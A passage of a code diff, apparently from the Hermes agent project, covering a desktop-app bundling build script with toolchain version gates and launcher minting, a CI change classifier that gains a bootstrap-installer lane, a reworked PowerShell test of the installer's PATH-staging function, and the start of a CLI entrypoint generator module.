+} +const tagArg = args.find(a => a.startsWith('--tag='))?.slice('--tag='.length) +const variant = args.find(a => a.startsWith('--variant='))?.slice('--variant='.length) || 'bundled' +const dashDash = process.argv.indexOf('--') +const extraBuilderArgs = dashDash === -1 ? [] : process.argv.slice(dashDash + 1) + +if (!['bundled', 'light', 'store'].includes(variant)) { + fail(`--variant must be 'bundled', 'light', or 'store', got '${variant}'`) +} + +function fail(message) { + console.error(`[build-bundled] ${message}`) + process.exit(1) +} + +function run(cmd, argv, opts = {}) { + console.log(`[build-bundled] $ ${cmd} ${argv.join(' ')}`) + const shell = process.platform === 'win32' + if (shell) { + const bad = argv.find(a => /\s/.test(a)) + if (bad) { + fail( + `argument with whitespace cannot cross the Windows shell: ${JSON.stringify(bad)} — pass it via environment instead` + ) + } + } + const result = spawnSync(cmd, argv, { stdio: 'inherit', cwd: REPO_ROOT, shell, ...opts }) + if (result.status !== 0) { + fail(`${cmd} exited ${result.status}`) + } +} + +function capture(cmd) { + return execSync(cmd, { cwd: REPO_ROOT, encoding: 'utf8' }).trim() +} + +function pythonMinorFromLock() { + const lock = JSON.parse(fs.readFileSync(path.join(REPO_ROOT, 'pm', 'lock.json'), 'utf8')) + const version = lock?.packages?.python?.version + if (typeof version !== 'string') { + fail('pm/lock.json has no python version') + } + return version.split('+')[0].split('.').slice(0, 2).join('.') +} + +function requireOnPath(tool) { + const probe = spawnSync(tool, ['--version'], { stdio: 'ignore', shell: process.platform === 'win32' }) + if (probe.status !== 0) { + fail(`required tool missing: ${tool}`) + } +} + +// ── 1. preflight ──────────────────────────────────────────────────────────── + +for (const tool of ['git', 'npm', 'uv']) { + requireOnPath(tool) +} + +// Toolchain gates. The build's output depends on these tools, so a wrong +// version makes a silently different artifact (the first Windows build +// shipped a wrong-arch uv exactly this way). The rules come from ONE +// source — package.json "engines". The EMBEDDED runtimes are a separate +// concern: they come from pm/lock.json via `pm bundle` (the payload +// python/node/uv are the pinned artifacts in the pm store), never from +// the host toolchain — the gates below only approve the tools that BUILD +// the artifact (the JS surfaces are built and npm-installed by the host +// node; the payload interpreter is installed by the host uv). CI installs +// the pinned versions from pm/lock.json as the host toolchain, so +// gate == pin there by construction. +export function parseVersion(text) { + const match = String(text).match(/(\d+)\.(\d+)\.(\d+)/) + return match ? [Number(match[1]), Number(match[2]), Number(match[3])] : null +} + +export function compareVersions(a, b) { + for (let i = 0; i < 3; i += 1) { + if (a[i] !== b[i]) return a[i] - b[i] + } + return 0 +} + +// The subset of semver ranges that package.json engines actually uses: +// space-separated comparators AND together, `||` separates alternatives. +// An unparseable comparator fails closed. +export function satisfiesRange(version, range) { + return String(range).split('||').some(alternative => { + const comparators = alternative.trim().split(/\s+/).filter(Boolean) + if (comparators.length === 0) return false + return comparators.every(comparator => { + const m = comparator.match(/^(>=|<=|>|<|=)?v?(\d+)\.(\d+)\.(\d+)$/) + if (!m) return false + const cmp = compareVersions(version, [Number(m[2]), Number(m[3]), Number(m[4])]) + switch (m[1]) { + case '>=': return cmp >= 0 + case '<=': return cmp <= 0 + case '>': return cmp > 0 + case '<': return cmp < 0 + default: return cmp === 0 + } + }) + }) +} + +export function uvBannerProblem(banner) { + // A build triple is three dash-joined words that end in letters + // (aarch64-pc-windows-msvc). Its position varies: nix builds print it + // first in the parens, official builds put a commit hash and a date + // before it. Match it anywhere — the date (2026-07-31) cannot match + // because its last segment is digits. + return /[a-z0-9_]+-[a-z0-9]+-[a-z][a-z0-9-]*/.test(String(banner)) + ? null + : 'its --version prints no build triple; the payload arch guard needs one (official uv 0.12+, or any nix/source build)' +} + +const engines = JSON.parse(fs.readFileSync(path.join(REPO_ROOT, 'package.json'), 'utf8')).engines || {} + +for (const tool of ['node', 'npm']) { + const text = tool === 'node' ? process.version : capture('npm --version') + const version = parseVersion(text) + if (!version) { + fail(`${tool}: cannot parse a version from ${JSON.stringify(text)}`) + } + const range = engines[tool] + if (range && !satisfiesRange(version, range)) { + fail(`${tool} ${version.join('.')} does not satisfy package.json engines ${JSON.stringify(range)} — the build would make a different artifact`) + } + console.log(`[build-bundled] ${tool} ${version.join('.')} (engines: ${range || 'unconstrained'})`) +} + +{ + const uvBanner = capture('uv --version') + const problem = uvBannerProblem(uvBanner) + if (problem) { + fail(`uv (${uvBanner}) would make a broken artifact: ${problem}`) + } + console.log(`[build-bundled] ${uvBanner} (build-host uv; the payload uv comes from pm/lock.json)`) +} + +let tag = tagArg +if (!tag) { + try { + tag = capture('git describe --tags --exact-match') + } catch { + fail('no --tag=vX.Y.Z given and HEAD is not at an exact release tag') + } +} +if (!/^v(?:0|[1-9]\d{0,2})\.\d+\.\d+(?:-nightly\.20\d{6}(?:\d{6})?)?$/.test(tag)) { + fail(`'${tag}' is not a release tag (vX.Y.Z or vX.Y.0-nightly.YYYYMMDDHHMMSS)`) +} + +const pyprojectVersion = fs + .readFileSync(path.join(REPO_ROOT, 'pyproject.toml'), 'utf8') + .match(/^version\s*=\s*"([^"]+)"/m)?.[1] +if (!pyprojectVersion) { + fail('could not read version from pyproject.toml') +} +const isNightly = tag.includes('-nightly.') +if (!isNightly && tag !== `v${pyprojectVersion}`) { + fail(`tag ${tag} does not match pyproject.toml version ${pyprojectVersion}`) +} +const artifactVersion = isNightly ? tag.slice(1) : pyprojectVersion +const fileVersion = windowsFileVersion(tag) + +const passes = { + linux: [{ targets: '--linux AppImage' }], + darwin: [{ targets: '--mac dmg zip' }], + win32: [{ targets: '--win msix' }] +}[process.platform] +if (!passes) { + fail(`unsupported platform: ${process.platform}`) +} + +console.log(`[build-bundled] tag=${tag} variant=${variant} platform=${process.platform}-${process.arch}`) + +// ── 2. npm ci ─────────────────────────────────────────────────────────────── + +const installStamp = [ + `lock=${createHash('sha256').update(fs.readFileSync(path.join(REPO_ROOT, 'package-lock.json'))).digest('hex')}`, + `node=${process.version}`, + `npm=${execSync('npm --version', { encoding: 'utf8', shell: process.platform === 'win32' }).trim()}`, + `target=${process.platform}-${process.arch}` +].join(' ') +const installStampPath = path.join(REPO_ROOT, 'node_modules', '.install-stamp') +if (fs.existsSync(installStampPath) && fs.readFileSync(installStampPath, 'utf8') === installStamp) { + console.log('[build-bundled] node_modules matches its install stamp — npm ci output already present') +} else { + fs.rmSync(installStampPath, { force: true }) + run('npm', ['ci', '--no-audit', '--no-fund', '--fetch-retries=5', '--prefer-offline'], { + env: { ...process.env, CI: 'true' } + }) + fs.writeFileSync(installStampPath, installStamp) +} + +// ── 3. JS surfaces ────────────────────────────────────────────────────────── + +run('npm', ['run', 'build', '--workspace', 'ui-tui']) +run('npm', ['run', 'build', '--workspace', 'web']) + +const tuiEntry = path.join(REPO_ROOT, 'ui-tui', 'dist', 'entry.js') +const webDist = path.join(REPO_ROOT, 'hermes_cli', 'web_dist') +if (!fs.existsSync(tuiEntry)) { + fail(`ui-tui build did not write ${tuiEntry}`) +} +if (!fs.existsSync(path.join(webDist, 'index.html'))) { + fail(`web build did not write ${webDist}/index.html`) +} + +// ── 4. pm bundle ──────────────────────────────────────────────────────────── + +const pyMinor = pythonMinorFromLock() +run( + 'uv', + ['run', '--no-project', '--python', pyMinor, 'python', '-m', 'pm.cli', 'bundle', '--out', PAYLOAD_DIR, '--ref', tag], + { env: { ...process.env, PYTHONUTF8: '1' } } +) + +// ── 5. plant JS into the staged snapshot ──────────────────────────────────── +// git archive only carries committed files. The TUI and dashboard dists +// are gitignored, so they must be copied into the payload after staging. + +const payloadRepo = path.join(PAYLOAD_DIR, 'hermes-agent') +if (!fs.existsSync(path.join(payloadRepo, 'pyproject.toml'))) { + fail(`pm bundle did not write a repo snapshot at ${payloadRepo}`) +} + +const plantedTui = path.join(payloadRepo, 'hermes_cli', 'tui_dist', 'entry.js') +fs.mkdirSync(path.dirname(plantedTui), { recursive: true }) +fs.copyFileSync(tuiEntry, plantedTui) + +const plantedWeb = path.join(payloadRepo, 'hermes_cli', 'web_dist') +fs.rmSync(plantedWeb, { recursive: true, force: true }) +fs.cpSync(webDist, plantedWeb, { recursive: true, dereference: true }) +if (!fs.existsSync(path.join(plantedWeb, 'index.html'))) { + fail('planted web_dist is missing index.html') +} +console.log('[build-bundled] planted hermes_cli/tui_dist/entry.js and hermes_cli/web_dist into the payload') + +const dropped = stripFetchCache(PAYLOAD_DIR) +console.log(`[build-bundled] dropped ${dropped} fetch- cache dirs from the payload`) +if (process.platform === 'darwin') { + const n = relativizePayloadLinks(PAYLOAD_DIR) + console.log(`[build-bundled] relativized ${n} payload links so codesign can sign each path once`) +} + +// ── 5b. stage the payload CLI entrypoints (hermes / hermes-agent / hermes-acp) +// The bundled payload's CLI entrypoints are fully self-relative and need NO +// toolchain at package time — the rust shim (apps/desktop/shim) is gone: +// +// win32 — distlib-MINTED launchers (scripts/desktop-cli/mint-launchers.py +// run by the payload's own store python, so the minting architecture is +// the target architecture by construction). Each minted exe is a plain +// PE + shebang `#!\..\tools\\python.exe` + a zip +// overlay of scripts/desktop-cli/launcher-wrapper.py, which resolves the +// launcher's own dir from sys.argv[0], puts the payload repo + venv +// site-packages on sys.path, and defaults sys.pycache_prefix to the +// user-level cache — everything the rust shim did, no cargo. distlib +// comes from the store python's pip (pip._vendor.distlib); no extra dep. +// +// POSIX — $0-relative bash trampolines generated by +// scripts/desktop-cli/cli-entrypoints.mjs (exported pure for tests). +// +// A sealed payload has no working editable install (the venv's editable +// pointer names the BUILD machine), so BOTH kinds set the payload's own +// import roots (repo, then venv site-packages) themselves and keep +// __pycache__ writes out of the payload. +function stageCliLaunchers(outDir, rels) { + const binDir = path.join(outDir, 'bin') + fs.rmSync(binDir, { recursive: true, force: true }) + fs.mkdirSync(binDir, { recursive: true }) + if (process.platform === 'win32') { + stageWinLaunchers(binDir, rels) + console.log(`[build-bundled] minted CLI launchers (${CLI_LAUNCHER_SPECS.map(s => s.name + '.exe').join(', ')}) → ${binDir}`) + } else { + for (const { name, text } of posixTrampolineScripts(rels)) { + const file = path.join(binDir, name) + fs.writeFileSync(file, text) + fs.chmodSync(file, 0o755) + } + console.log(`[build-bundled] staged POSIX CLI trampolines (${CLI_LAUNCHER_SPECS.map(s => s.name).join(', ')}) → ${binDir}`) + } +} + +function stageWinLaunchers(binDir, rels) { + // Mint with the payload's own store python: same distribution the + // launchers will execute, and its arch IS the target arch (distlib + // picks the launcher stub — incl. the -arm variant — by the MINTING + // interpreter's platform). distlib rides in that python's pip. + const interpreter = path.join(PAYLOAD_DIR, 'tools', pythonEntry, 'python.exe') + if (!fs.existsSync(interpreter)) { + fail(`mint interpreter missing at ${interpreter}`) + } + if (/\s/.test(interpreter) || /\s/.test(PAYLOAD_DIR)) { + // spawnSync(shell: true) cannot carry a whitespace path on win32; the + // repo (and thus the payload) must live in a space-free directory. + fail(`mint paths must be whitespace-free: ${interpreter}`) + } + const mintScript = path.join(REPO_ROOT, 'scripts', 'desktop-cli', 'mint-launchers.py') + const minted = [] + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'hermes-mint-')) + try { + for (const spec of CLI_LAUNCHER_SPECS) { + const wrapper = path.join(tmp, `${spec.name}-wrapper.py`) + fs.writeFileSync(wrapper, renderWinWrapper(spec, rels.relRepo, rels.relSite)) + run(interpreter, [mintScript], { + env: { + ...process.env, + HERMES_MINT_BIN_DIR: binDir, + HERMES_MINT_SPECS: JSON.stringify([spec]), + HERMES_MINT_WRAPPER: wrapper, + // The shebang: backslashes, bin-relative, literal + // first — the launcher resolves it against its own dir at runtime. + HERMES_MINT_PYTHON: `\\${rels.relPython.replace(/\//g, '\\')}` + } + }) + minted.push(path.join(binDir, `${spec.name}.exe`)) + } + } finally { + fs.rmSync(tmp, { recursive: true, force: true }) + } + for (const exe of minted) { + if (!fs.existsSync(exe)) { + fail(`mint produced no launcher at ${exe}`) + } + } +} + +const pythonEntry = (() => { + try { + const facts = JSON.parse(fs.readFileSync(path.join(PAYLOAD_DIR, 'tools', 'facts.json'), 'utf8')) + return facts.packages?.python?.entry + } catch { + return undefined + } +})() +if (!pythonEntry) { + fail('payload facts.json has no python entry — cannot stage the CLI launchers') +} +// The launchers' python is the store interpreter (platform layout: +// bin/python3 on posix, python.exe on win32), bin-relative. +const relStorePython = path.join('tools', pythonEntry, process.platform === 'win32' ? 'python.exe' : 'bin', process.platform === 'win32' ? '' : 'python3') + .replace(/\\/g, '/') + .replace(/\/+$/, '') +// The venv site-packages hold the dependency tree (uv sync). POSIX nests +// under lib/python3.X/, so the version comes from the staged interpreter's +// entry name. The entry prefix varies by target (cpython-3.11.15-... on +// win32/linux, python-3.11.16+... on darwin) — grab the first dotted +// numeric pair, which is the python version in every shape. +const pyMinorFromEntry = pythonEntry.match(/\d+\.\d+/)?.[0] +if (!pyMinorFromEntry) { + fail(`cannot derive python minor version from entry ${pythonEntry} — cannot stage the CLI launchers`) +} +const venvSitePackages = process.platform === 'win32' + ? '../venv/Lib/site-packages' + : `../venv/lib/python${pyMinorFromEntry}/site-packages` +// The repo snapshot dir name comes from the payload manifest (pm bundle +// writes repo: "hermes-agent"). +const payloadManifest = JSON.parse(fs.readFileSync(path.join(PAYLOAD_DIR, 'manifest.json'), 'utf8')) +if (typeof payloadManifest.repo !== 'string') { + fail('payload manifest.json has no repo field — cannot stage the CLI launchers') +} +stageCliLaunchers(PAYLOAD_DIR, { + relPython: `../${relStorePython}`, + relSite: venvSitePackages, + relRepo: `../${payloadManifest.repo}` +}) + +// ── 6. desktop build + package ────────────────────────────────────────────── + +const env = { + ...process.env, + HERMES_DESKTOP_VARIANT: variant, + HERMES_PAYLOAD_TAG: tag, + // The MSIX 4th version component is minutes-since-stable (see + // msix-shared.mjs). electron-builder reads BUILD_NUMBER for it when + // msix.setBuildNumber is on; a stable build leaves it unset and ships + // X.Y.Z.0. Computed here so the manifest, the .msixbundle /bv and the + // .appinstaller feed all agree (same derivation, same value). + ...(isNightly ? { BUILD_NUMBER: String(nightlyBuildMinutes(tag, REPO_ROOT)) } : {}) +} +const desktop = path.join(REPO_ROOT, 'apps', 'desktop') + +for (const pass of passes) { + console.log(`[build-bundled] pass: ${pass.targets}`) + run('npm', ['run', 'build'], { cwd: desktop, env }) + run( + 'npm', + [ + 'run', + 'builder', + '--', + ...pass.targets.split(' '), + `-c.extraMetadata.version=${artifactVersion}`, + ...(fileVersion + ? [`-c.extraMetadata.shortVersion=${fileVersion}`, `-c.extraMetadata.shortVersionWindows=${fileVersion}`] + : []), + ...extraBuilderArgs + ], + { cwd: desktop, env } + ) +} +console.log(`[build-bundled] artifacts: ${path.join(desktop, 'release')}`) diff --git a/scripts/ci/classify_changes.py b/scripts/ci/classify_changes.py index 7f608d0af9..193616330e 100644 --- a/scripts/ci/classify_changes.py +++ b/scripts/ci/classify_changes.py @@ -25,6 +25,8 @@ Lanes: must not run it. * ``npm_lock`` — semantic package-lock.json diff PR comment. * ``installer`` — PowerShell installer tests (Windows runner). +* ``bootstrap`` — the bootstrap installer lane: install.sh sandbox install, + pin-fragment drift check, and shipped version-stamp verification. * ``rust`` — ``cargo test`` for the Tauri bootstrap installer. ``.rs`` lives under ``apps/``, so without this lane a Rust change matched ``frontend`` and only the TypeScript matrix ran. @@ -109,6 +111,13 @@ _MCP_CATALOG_FILES = {"hermes_cli/mcp_catalog.py"} _INSTALLER_PATHS = ("scripts/tests/",) _INSTALLER_FILES = {"scripts/install.ps1", "scripts/install.cmd"} +# Bootstrap installer: the POSIX shell installer, the dev-checkout wrapper +# that carries the same pin fragment, and the Tauri app's non-Rust sources +# (the .rs/Cargo files are the ``rust`` lane's job). Changes here get the +# bootstrap-installer.yml lane — a real sandboxed install + stamp check. +_BOOTSTRAP_PATHS = ("apps/bootstrap-installer/",) +_BOOTSTRAP_FILES = {"scripts/install.sh", "setup-hermes.sh"} + # Rust crates — currently just the Tauri bootstrap installer (Hermes-Setup). # These live under ``apps/``, so before this lane existed a ``.rs`` edit matched # ``frontend`` and nothing more: the TypeScript matrix built, cargo never ran, @@ -205,6 +214,9 @@ def classify(files: list[str]) -> dict[str, bool]: "uv_lock": any(f in ("pyproject.toml", "uv.lock") for f in files), "npm_lock": npm_lock, "installer": any(_is_installer(f) for f in files), + "bootstrap": any( + f.startswith(_BOOTSTRAP_PATHS) or f in _BOOTSTRAP_FILES for f in files + ), "rust": any(_is_rust(f) for f in files), "mcp_catalog": any(_is_mcp_catalog(f) for f in files), "ci_review": any(_is_ci_review(f) for f in files), @@ -222,6 +234,7 @@ def classify(files: list[str]) -> dict[str, bool]: ret["uv_lock"] = True ret["npm_lock"] = True ret["installer"] = True + ret["bootstrap"] = True ret["rust"] = True ret["nix"] = True ret["ci_review"] = True diff --git a/scripts/ci/test_install_ps1_cli_launchers.ps1 b/scripts/ci/test_install_ps1_cli_launchers.ps1 index 830e68eb1e..d5b0143e4c 100644 --- a/scripts/ci/test_install_ps1_cli_launchers.ps1 +++ b/scripts/ci/test_install_ps1_cli_launchers.ps1 @@ -1,34 +1,51 @@ -# Behavioral test for install.ps1's hermes launcher staging (PR #92092, -# reworked for the managed-binary-dir layout). +# Behavioral test for install.ps1's hermes launcher staging. # # Run: powershell.exe -NoProfile -File scripts/ci/test_install_ps1_cli_launchers.ps1 # -# The test lifts the real Install-HermesCommandLaunchers function from the -# PowerShell AST and executes it against a temporary install tree. It never -# reads or changes the user's PATH. The staging destination is passed in by -# the caller (Set-PathVariable passes $HermesHome\bin -- the managed binary -# dir OUTSIDE the git checkout); here it is a sibling temp dir, which also -# proves the function stages wherever it is pointed rather than assuming -# the legacy in-checkout location. +# The test lifts the real Stage-Path function from the PowerShell AST and +# executes it against a temporary install tree. It never reads or changes +# the user's PATH (the registry I/O is stubbed to a capture variable). +# +# Under pm (no-boot-through-venv) Stage-Path must stage launchers that boot +# the pm STORE python with PYTHONPATH=repo;venv-site-packages — never the +# venv interpreter (pyvenv.cfg is inert dead config). The real minting +# machinery (hermes_cli/_launchers.py) runs via the venv python, exactly as +# the installer does. Set-StrictMode -Version Latest $ErrorActionPreference = 'Stop' -$installPs1 = Join-Path (Join-Path $PSScriptRoot '..') 'install.ps1' | Resolve-Path +$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..') +$installPs1 = Join-Path $repoRoot 'scripts\install.ps1' $ast = [System.Management.Automation.Language.Parser]::ParseFile( $installPs1, [ref]$null, [ref]$null) $fn = $ast.Find({ param($n) $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and - $n.Name -eq 'Install-HermesCommandLaunchers' + $n.Name -eq 'Stage-Path' }, $true) if (-not $fn) { - throw "Install-HermesCommandLaunchers not found in $installPs1" + throw "Stage-Path not found in $installPs1" } -Invoke-Expression $fn.Extent.Text +# Stub the installer's process-level helpers before expanding the function: +# Fail must throw (not exit the test process) and the HKCU Path write must +# land in a capture variable, never in the user's registry. +$script:userPathWrite = $null +$script:fakeUserPath = '' +$body = $fn.Extent.Text +$body = $body.Replace( + '[Environment]::GetEnvironmentVariable("Path", "User")', + '$script:fakeUserPath') +$body = $body.Replace( + '[Environment]::SetEnvironmentVariable("Path", "$binDir;$userPath", "User")', + '$script:userPathWrite = "$binDir;$userPath"') +Invoke-Expression $body + +function Fail([string]$msg) { throw "stage failed: $msg" } +function Log([string]$msg) { Write-Host "[hermes] $msg" } $tempBase = [System.IO.Path]::GetFullPath([System.IO.Path]::GetTempPath()) $caseRoot = [System.IO.Path]::GetFullPath((Join-Path $tempBase ( @@ -50,84 +67,114 @@ function Assert-True { } } -function Assert-BytesEqual { - param([byte[]]$Expected, [byte[]]$Actual, [string]$Name) - $same = $Expected.Length -eq $Actual.Length - if ($same) { - for ($i = 0; $i -lt $Expected.Length; $i++) { - if ($Expected[$i] -ne $Actual[$i]) { - $same = $false - break - } - } - } - Assert-True $same $Name +function Get-LauncherContent { + param([string]$Path) + $bytes = [System.IO.File]::ReadAllBytes($Path) + return [System.Text.Encoding]::ASCII.GetString($bytes) +} + +# A real python for the launcher-minting step (the installer runs it via +# the venv python). Prefer the repo checkout's venv interpreter — a +# standalone CPython; a bare `python` on PATH may be a store/managed +# python that cannot run when copied outside its own layout. +$python = Join-Path $repoRoot '.venv\Scripts\python.exe' +if (-not (Test-Path -LiteralPath $python)) { + $python = (Get-Command python.exe -ErrorAction SilentlyContinue).Source +} +if (-not $python) { $python = (Get-Command python -ErrorAction SilentlyContinue).Source } +if (-not $python) { + Write-Host "SKIP: no python on PATH — launcher minting cannot be exercised" + exit 0 } try { $installRoot = Join-Path $caseRoot 'hermes-agent' + # Stage-Path derives its destination from $HermesHome\bin — point + # $HermesHome at the case root so the asserts below read the same dir. + $HermesHome = $caseRoot $binDir = Join-Path $caseRoot 'bin' - New-Item -ItemType Directory -Force -Path $installRoot | Out-Null + $InstallDir = $installRoot - # Fail-before-PATH-mutation: a missing required source must throw and - # must not leave an empty destination for the caller to put on PATH. + # Case 1: no venv yet — the stage must fail loudly, staging nothing. $missingThrew = $false try { - Install-HermesCommandLaunchers -Root $installRoot -Destination $binDir | Out-Null + Stage-Path | Out-Null } catch { - $missingThrew = $_.Exception.Message -like '*required launcher not found*' + $missingThrew = $_.Exception.Message -like '*venv python missing*' } - Assert-True $missingThrew 'missing hermes.exe fails the launcher stage' - Assert-True (-not (Test-Path -LiteralPath $binDir)) ` - 'failure does not create an empty PATH directory' + Assert-True $missingThrew 'missing venv python fails the launcher stage' - $scriptsDir = Join-Path $installRoot 'venv\Scripts' - New-Item -ItemType Directory -Force -Path $scriptsDir | Out-Null - $hermesV1 = [byte[]](77, 90, 1) - $hermesV2 = [byte[]](77, 90, 2) - $acp = [byte[]](77, 90, 3) - [System.IO.File]::WriteAllBytes((Join-Path $scriptsDir 'hermes.exe'), $hermesV1) - Set-Content -Path (Join-Path $installRoot 'venv\pyvenv.cfg') ` - -Value "home = X" -Encoding Ascii + # Build a fake install: venv + the REAL launchers module (copied from + # the repo, importable from the install root cwd like the installer's + # Push-Location does) + a fake pm store with a materialized python. + $venvScripts = Join-Path $installRoot 'venv\Scripts' + New-Item -ItemType Directory -Force -Path $venvScripts | Out-Null + Copy-Item $python (Join-Path $venvScripts 'python.exe') + New-Item -ItemType Directory -Force -Path (Join-Path $installRoot 'hermes_cli') | Out-Null + Copy-Item (Join-Path $repoRoot 'hermes_cli\_launchers.py') (Join-Path $installRoot 'hermes_cli\_launchers.py') + Copy-Item (Join-Path $repoRoot 'hermes_constants.py') (Join-Path $installRoot 'hermes_constants.py') - $staged = Install-HermesCommandLaunchers -Root $installRoot -Destination $binDir - Assert-True ($staged -eq $binDir) 'returns the destination it staged into' - Assert-BytesEqual $hermesV1 ` - ([System.IO.File]::ReadAllBytes((Join-Path $binDir 'hermes.exe'))) ` - 'normal venv: exe copy lands in the destination' - Assert-True (-not (Test-Path -LiteralPath (Join-Path $binDir 'hermes-acp.exe'))) ` - 'optional ACP launcher may be absent' + $store = Join-Path $caseRoot 'store' + $entryName = 'python-3.11.15+x20260807-win32-arm64' + New-Item -ItemType Directory -Force -Path (Join-Path $store $entryName) | Out-Null + Copy-Item $python (Join-Path $store "$entryName\python.exe") + ('{"schema": 1, "packages": {"python": {"entry": "' + $entryName + '"}}}') | + Set-Content -Path (Join-Path $store 'facts.json') -Encoding Ascii + $env:HERMES_RUNTIME_DIR = $store - [System.IO.File]::WriteAllBytes((Join-Path $scriptsDir 'hermes.exe'), $hermesV2) - [System.IO.File]::WriteAllBytes((Join-Path $scriptsDir 'hermes-acp.exe'), $acp) - Install-HermesCommandLaunchers -Root $installRoot -Destination $binDir | Out-Null - Assert-BytesEqual $hermesV2 ` - ([System.IO.File]::ReadAllBytes((Join-Path $binDir 'hermes.exe'))) ` - 'installer refreshes an existing Hermes launcher' - Assert-BytesEqual $acp ` - ([System.IO.File]::ReadAllBytes((Join-Path $binDir 'hermes-acp.exe'))) ` - 'installer copies the optional ACP launcher when present' + Stage-Path | Out-Null - # Relocatable venv: exe trampolines die when copied out of venv\Scripts - # ('uv trampoline failed to canonicalize script path'), so the stage - # must emit .cmd delegators and clear the stale exe copies. - Set-Content -Path (Join-Path $installRoot 'venv\pyvenv.cfg') ` - -Value "home = X`r`nrelocatable = true" -Encoding Ascii - Install-HermesCommandLaunchers -Root $installRoot -Destination $binDir | Out-Null - Assert-True (Test-Path -LiteralPath (Join-Path $binDir 'hermes.cmd')) ` - 'relocatable venv: .cmd delegator staged' - Assert-True (-not (Test-Path -LiteralPath (Join-Path $binDir 'hermes.exe'))) ` - 'relocatable venv: stale exe copy removed' - $cmdBody = [System.IO.File]::ReadAllText((Join-Path $binDir 'hermes.cmd')) - Assert-True ($cmdBody.Contains((Join-Path $scriptsDir 'hermes.exe')) -and $cmdBody.Contains('%*')) ` - 'delegator invokes the in-venv exe and forwards args' + foreach ($name in @('hermes', 'hermes-acp')) { + $exe = Join-Path $binDir "$name.exe" + $cmd = Join-Path $binDir "$name.cmd" + if (Test-Path -LiteralPath $exe) { + $content = Get-LauncherContent $exe + } elseif (Test-Path -LiteralPath $cmd) { + $content = Get-LauncherContent $cmd + } else { + $content = '' + } + Assert-True ($content -ne '') "$name launcher staged" + $venvPython = (Join-Path $venvScripts 'python.exe') + Assert-True (-not $content.Contains($venvPython)) ` + "$name launcher does not reference the venv python" + Assert-True $content.Contains((Join-Path $store $entryName)) ` + "$name launcher binds to the pm store interpreter" + } + + Assert-True ($null -ne $script:userPathWrite) 'user PATH write captured the bin dir' + Assert-True ($script:userPathWrite -eq "$binDir;") 'user PATH capture has the right shape' + + # The minted launcher must actually boot the STORE interpreter: give + # the fake repo a hermes_cli.main that prints what it runs under. + Set-Content -Path (Join-Path $installRoot 'hermes_cli\__init__.py') ` + -Encoding Ascii -Value '' + Set-Content -Path (Join-Path $installRoot 'hermes_cli\main.py') ` + -Encoding Ascii -Value "import sys`ndef main():`n print('PROBE', sys.executable)`n return 0`n" + $out = (& (Join-Path $binDir 'hermes.exe') 2>&1) -join ' ' + Write-Host " BOOT-OUT: $out" + # The exe must boot a python that imports hermes_cli through the + # composed PYTHONPATH (repo first). (This fixture's fake store python + # is a copied venv interpreter whose sys.executable reports its base — + # a real pm store python (python-build-standalone) reports itself; + # binding to the store interpreter is asserted above from the exe + # contents.) + Assert-True ($out.Contains('PROBE')) ` + 'minted hermes.exe boots a python that imports via the composed PYTHONPATH' } finally { + Remove-Item Env:HERMES_RUNTIME_DIR -ErrorAction SilentlyContinue if (Test-Path -LiteralPath $caseRoot) { $resolvedCase = [System.IO.Path]::GetFullPath($caseRoot) if (-not $resolvedCase.StartsWith($tempBase, [System.StringComparison]::OrdinalIgnoreCase)) { throw "Refusing to remove test directory outside the system temp directory: $resolvedCase" } - Remove-Item -LiteralPath $resolvedCase -Recurse -Force + # The booted launcher's child may outlive the assertion briefly. + Start-Sleep -Milliseconds 800 + try { + Remove-Item -LiteralPath $resolvedCase -Recurse -Force -ErrorAction Stop + } catch { + Write-Host " (leftover temp dir could not be removed: $resolvedCase)" + } } } diff --git a/scripts/desktop-cli/cli-entrypoints.mjs b/scripts/desktop-cli/cli-entrypoints.mjs new file mode 100644 index 0000000000..599df9ec47 --- /dev/null +++ b/scripts/desktop-cli/cli-entrypoints.mjs @@ -0,0 +1,130 @@ +/** + * cli-entrypoints.mjs — the bundled payload's CLI entrypoint generators. + * + * The bundled payload ships three CLI entrypoints (hermes / hermes-agent / + * hermes-acp — mirrors [project.scripts] in pyproject.toml) staged into + * agent-payload/bin/. They are fully self-relative, so a bundled artifact + * works wherever it lands (and read-only, MSIX included): + * + * win32 — distlib-MINTED launchers (scripts/desktop-cli/mint-launchers.py + * runs on the payload's own store python, whose architecture is by + * construction the target's). The minted exe is a plain PE + shebang + + * zip overlay of scripts/desktop-cli/launcher-wrapper.py. The shebang is + * `#!\..\tools\\python.exe` — the + * literal is resolved by the launcher at run time relative to its own + * directory, which is the relocatability mechanism (live-proved). + * + * POSIX — $0-relative bash trampolines generated below. No PE is needed: + * a plain script exec'ing the store python is the entrypoint. They follow + * the $0 symlink chain so a link out on PATH (e.g. ~/.local/bin) resolves + * back into the install. + * + * Pure module: no side effects, importable from tests. + */ + +import fs from 'node:fs' +import path from 'node:path' +import { fileURLToPath } from 'node:url' + +const HERE = path.dirname(fileURLToPath(import.meta.url)) + +/** The three CLI entrypoints, mirroring [project.scripts] in pyproject.toml. */ +export const CLI_LAUNCHER_SPECS = [ + { name: 'hermes', module: 'hermes_cli.main', func: 'main' }, + { name: 'hermes-agent', module: 'run_agent', func: 'main' }, + { name: 'hermes-acp', module: 'acp_adapter.entry', func: 'main' } +] + +/** + * Render scripts/desktop-cli/launcher-wrapper.py for one entry. The + * relative paths are the payload's bin-relative layout facts, forward + * slashes (same convention as the payload manifest — the wrapper splits + * them itself, so one text works cross-platform). + * + * @param {{ module: string, func: string }} spec + * @param {string} relRepo bin-relative repo dir, e.g. ../hermes-agent + * @param {string} relSite bin-relative venv site-packages + * @returns {string} the rendered wrapper source + */ +export function renderWinWrapper(spec, relRepo, relSite) { + const template = fs.readFileSync(path.join(HERE, 'launcher-wrapper.py'), 'utf8') + const substitutions = { + __HERMES_ENTRY_MODULE__: spec.module, + __HERMES_ENTRY_FUNC__: spec.func, + __HERMES_REPO_REL__: relRepo, + __HERMES_SITE_REL__: relSite + } + let text = template + for (const [placeholder, value] of Object.entries(substitutions)) { + if (value.includes('__')) { + throw new Error(`bad substitution for ${placeholder}: ${JSON.stringify(value)}`) + } + text = text.replaceAll(placeholder, value) + } + for (const placeholder of Object.keys(substitutions)) { + if (text.includes(placeholder)) { + throw new Error(`launcher-wrapper.py has an unsubstituted ${placeholder}`) + } + } + return text +} + +/** + * One POSIX trampoline. Rel paths are bin-relative with FORWARD slashes + * (the same strings the win32 side bakes); the bash resolves them against + * the trampoline's own directory. + * + * @param {{ name: string, module: string }} spec + * @param 